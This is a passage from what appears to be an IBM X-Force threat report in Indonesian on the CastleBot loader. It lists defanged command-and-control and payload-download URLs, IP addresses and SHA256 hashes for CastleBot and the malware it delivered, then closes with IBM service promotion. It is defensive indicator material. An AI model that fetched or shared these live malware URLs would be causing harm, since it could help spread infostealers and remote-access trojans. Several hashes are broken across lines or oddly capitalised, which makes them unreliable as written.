download/data_4x.bin

URL

URL unduhan inti CastleBot

http://173.44.141[.]89/service/
download/data_3x.bin

URL

URL unduhan CastleBot Loader

http://173.44.141[.]89/layanan/

URL

Server CastleBot C2

http://mhousecreative
[.]com/service/

URL

Server CastleBot C2

http://80.77.23[.]48/service/

URL

Server CastleBot C2

http://62.60.226[.]73/layanan/

URL

Server CastleBot C2

http://107.158.128[.]45/layanan/

URL

Server CastleBot C2

http://62.60.226[.]73/layanan/

URL

Server CastleBot C2

202f6b6631ade2c41e4762e5
877ce0063a3beabce0c3f85
64b6499a1164c1e04

SHA256

Inti CastleBot

A2898897d3ada2990e523b6
1f3efaacf6f67af1a52e0996d3f
9651b41a1c59c9

SHA256

Skrip PowerShell mengunduh dan mengekstrak arsip ZIP

d6eea6cf20a744f3394fb0c
1a30431f1ef79d6992b55262
2ad17d86490b7aa7b

SHA256

Pementasan CastleBot yang Terkubur

http://mhousecreative[.]com
/service/download/general_1

URL

URL unduhan NetSupport (13 Mei)

2a2cd6377ad69a298af55f2
9359d67e4586ec16e6c02c1
b8ad27c38471145569

SHA256

Muatan NetSupport ZIP

8b2ebeff16a20cf794e8f31
4c37795261619d96d602c8e
e13bc6255e951a43

SHA256

Skrip PowerShell mengunduh dan mengekstrak arsip ZIP

cbaf513e7fd4322b14adcc34
b34d793d79076ad31092598
1548e8d3cff886527

SHA256

Pementasan CastleBot yang Terkubur

05ecf871c7382b0c74e5bac
267bb5d12446f52368bb1bfe
5d2a4200d0f43c1d8

SHA256

DaveLoader

http://173.44.141[.]89/service/
unduh/docusign2.exe

URL

URL unduhan WarmCookie (6 Juni)

5BCA7F1942E07E8C12ECD9C80
2ecdb96570dfaaa1f44a6753e
bb9ffda0604cb4

SHA256

Muatan WarmCookie

170.130.165[.]112

IPv4

Server WarmCookie C2

bf21161c808ae74bf08e8d7f83
334ba926ffa0bab96ccac42dd
e418270387890

SHA256

Pemuat AutoIt untuk stager CastleBot

http://107.158.128[.]105/c9125
2f9ab114f26.php

URL

Server StealC C2

e6aab1b6a150ee3cbc721ac25
75c57309f307f69cd1b478d49
4c25cde0baaf85

SHA256

Loader yang berisi inti CastleBot

B45CCE4EDE6ffB7B6F28F75A0C
bb60e65592840d98dcb63155
b9fa0324a88be2 

SHA256

Inti CastleBot

https://google.herionhelpline
[.]com/aplikasi/AcerUSBUpdate.
exe

URL

URL unduhan Rhadamanthys (10 Juli)

03122e46a3e48141553e7567
c659642b1938b2d3641432f9
16375c163df819c1 

SHA256

Muatan tahap pertama Rhadamanthys

https://google.herionhelpline
[.]com/aplikasi/light1_v5_signed.
html

URL

URL unduhan Remcos (10 Juli)

12de997634859d1f93273e55
2 Dec855BFAE440DCF11159ADA19
ca0ae13d53dff 

SHA256

Muatan Remcos

https://google.herionhelpline[.]Com
/app/SlackUpdateWeb.html

 

URL

URL unduhan DeerStealer (10 Juli)

c8f95f436c1f618a8ef5c49055
5c6a1380d018f44e1644837f19
CB71F6584A8A 

SHA256

Muatan DeerStealer

8bf93cef46fda2bdb9d2a426
fbcd35ffedea9ed9ed9bd97bf78c
c51282bd1fb2095

SHA256

Pementasan CastleBot yang Terkubur

http://107.158.128[.]45/service
/download/Exchanger32.zip

URL

URL unduhan HijackLoader dan SectoPrat (5 Juli)

4834bc71fc5d3729ad5280e4
4a13e9627e3a82fd4db1bb992
FA8ae52602825c6

SHA256

Muatan ZIP HijackLoader dan SecTopRAT

53dddae886017fbfbb43ef2369
96b9a4d9fb670833dfa0c3eac
982815dc8d2a5

SHA256

Pementasan CastleBot yang Terkubur

http://107.158.128[.]45/service
/download/CCver_Setup.exe

URL

URL unduhan MonsterV2 (10 Juli)

ab725f5ab19eec691b66c37c715
abd0e9ab44556708094a911b8
4987d700AA62

SHA256

Muatan MonsterV2

IBM® X-Force Premier Threat Intelligence sekarang terintegrasi dengan OpenCTI oleh Filigran, memberikan intelijen ancaman yang dapat ditindaklanjuti tentang aktivitas ancaman ini dan banyak lagi. Akses insight tentang aktor ancaman, malware, dan risiko industri. Instal KonektorX-Force OpenCTI untuk meningkatkan deteksi dan respons, memperkuat keamanan siber Anda dengan keahlian IBM X-Force. Dapatkan uji coba X-Force Premier intelijen ancaman 30 Hari hari ini!

Solusi terkait
Layanan manajemen ancaman

Prediksi, cegah, dan respons ancaman modern, Tingkatkan ketahanan bisnis.

 

Jelajahi layanan manajemen ancaman
Solusi pendeteksian dan respons ancaman

Gunakan solusi deteksi dan respons ancaman IBM untuk memperkuat keamanan Anda dan mempercepat deteksi ancaman.

Jelajahi solusi deteksi ancaman
Solusi mobile threat defense (MTD).

Lindungi lingkungan seluler Anda dengan solusi pertahanan ancaman seluler IBM MaaS360 yang komprehensif.

Jelajahi solusi pertahanan ancaman seluler
Ambil langkah selanjutnya

Dapatkan solusi manajemen ancaman yang komprehensif, yang secara ahli melindungi bisnis Anda dari serangan siber.

  1. Jelajahi layanan manajemen ancaman
  2. Pesan pengarahan yang berfokus pada ancaman